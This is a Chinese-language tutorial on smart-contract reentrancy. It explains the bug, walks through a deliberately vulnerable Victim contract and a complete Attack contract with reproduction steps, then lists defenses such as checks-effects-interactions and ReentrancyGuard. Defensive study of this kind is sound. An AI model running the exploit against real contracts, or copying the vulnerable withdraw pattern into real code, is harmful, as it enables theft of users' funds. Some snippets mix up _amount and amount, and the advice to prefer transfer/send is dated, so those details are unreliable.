深入智能合约重入漏洞
字数 1521 2025-08-22 12:22:59
智能合约重入漏洞深入分析与防御指南
0x01 前言
智能合约的重入漏洞是区块链安全领域中最经典且危害性极大的漏洞之一,曾直接导致以太坊硬分叉(如The DAO事件)。本文将全面剖析重入漏洞的原理、攻击方式及防御措施。
0x02 预备知识
合约地址与外部地址的区别
外部账户(EOA):
- 由私钥控制
- 拥有ether余额
- 可以直接发送交易
- 不包含相关执行代码
- 可以与合约交互,触发合约代码执行
合约账户:
- 无法使用私钥控制
- 拥有ether余额
- 通过代码发送交易
- 含有执行代码
- 被外部调用时可执行相应代码
- 拥有独立存储状态,可调用其他合约
Fallback函数
- 每个合约只能有一个未命名函数(fallback函数)
- 不能有参数和返回值
- 在以下情况被调用:
- 向合约地址发送ether时
- 调用合约中不存在的函数时
- 可以被重写
Call函数
call函数有两种使用方式:
- 消息传递:
<address>.call(bytes) - 函数调用:
<address>.call(函数选择器, arg1, arg2, ...)
call函数返回值:
- 成功时返回true
- 失败时返回false(消息传递失败、函数调用失败、gas超出限制等)
转账用法:
<address>.call.value(account).gas(limit_gas)()
call是transfer与send的底层实现函数。
0x03 漏洞原理分析
漏洞代码示例
function withdraw(uint _amount) public {
if (amount <= balances[msg.sender]) {
msg.sender.call.value(_amount)();
balances[msg.sender] -= _amount;
}
}
漏洞产生原因
- 执行顺序问题:先转账后修改余额
- call函数的特性:未指定函数时会调用fallback函数
- 合约交互:当msg.sender是合约地址时,可以重写fallback函数
攻击流程
- 攻击者合约调用withdraw函数
- 受害合约执行call转账给攻击者合约
- 转账触发攻击者合约的fallback函数
- fallback函数中再次调用withdraw函数
- 由于余额尚未扣除,可以再次通过检查
- 循环直到:
- 合约余额不足
- Gas耗尽
0x04 漏洞复现
受害合约代码
pragma solidity ^0.4.10;
contract Victim {
address owner;
mapping(address => uint256) balances;
event withdrawLog(address, uint256);
function Victim() {
owner = msg.sender;
}
function deposit() payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) {
require(balances[msg.sender] >= amount);
withdrawLog(msg.sender, amount);
msg.sender.call.value(amount)();
balances[msg.sender] -= amount;
}
function balanceOf() returns (uint256) {
return balances[msg.sender];
}
function balanceOf(address addr) returns (uint256) {
return balances[addr];
}
}
攻击合约代码
contract Attack {
address owner;
address victim;
modifier ownerOnly {
require(owner == msg.sender);
_;
}
function Attack() payable {
owner = msg.sender;
}
function setVictim_adress(address target) ownerOnly {
victim = target;
}
function sendmoney() ownerOnly payable {
if (this.balance >= 1 ether) {
victim.call.value(1 ether)(bytes4(keccak256("deposit()")));
}
}
function withdraw() ownerOnly {
victim.call(bytes4(keccak256("withdraw(uint256)")), 1 ether);
}
function startAttack() ownerOnly {
sendmoney();
withdraw();
}
function stopAttack() ownerOnly {
selfdestruct(owner);
}
function() payable {
victim.call(bytes4(keccak256("withdraw(uint256)")), 1 ether);
}
}
复现步骤
- 部署受害合约,存入5 ETH
- 部署攻击合约,设置受害合约地址
- 调用startAttack开始攻击
- 先调用sendmoney存入1 ETH
- 然后调用withdraw触发重入攻击
- 攻击成功后调用stopAttack转移资金
注意事项:
- 确保合约余额与单次提现金额比例适当(1-5倍)
- 攻击时提供足够gas避免失败
0x05 防御措施
1. 限制gas用量
msg.sender.call.value(amount).gas(23000)();
- 单次转账约需21000 gas
- 额外预留2000 gas用于其他计算
2. 使用更安全的转账函数
send:
<address>.send(uint256 amount) returns (bool)
- 发送amount Wei
- 失败返回false
- 固定传输2300 gas
transfer:
<address>.transfer(uint256 amount)
- 发送amount Wei
- 失败抛出异常
- 固定传输2300 gas
3. Checks-Effects-Interactions模式
修改执行顺序:
function withdraw(uint _amount) public {
if (amount <= balances[msg.sender]) {
balances[msg.sender] -= amount; // 先修改状态
msg.sender.call.value(amount)(); // 后执行交互
}
}
4. 互斥锁(Mutex)
bool locked = false;
function withdraw(uint _amount) public {
require(!locked, "Reentrant call detected!");
locked = true;
// 业务逻辑
locked = false;
}
5. 使用OpenZeppelin的ReentrancyGuard
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract MyContract is ReentrancyGuard {
function withdraw(uint256 amount) public nonReentrant {
// 安全的重入保护逻辑
}
}
ReentrancyGuard实现:
modifier nonReentrant() {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
6. Pull Payment模式
- 不直接发送资金给接收者
- 为每笔交易创建新合约
- 由接收者自行提取资金
0x06 总结
重入漏洞的产生源于两个关键因素:
- 使用了不安全的call函数进行转账
- 采用了不合理的"检查-交互-效果"执行顺序
防御措施优先级建议:
- 优先使用transfer/send替代call
- 严格遵循Checks-Effects-Interactions模式
- 对于复杂合约,使用ReentrancyGuard
- 在必须使用call时限制gas用量
通过理解重入漏洞的原理和掌握这些防御技术,开发者可以显著提高智能合约的安全性,避免类似The DAO事件的重大损失。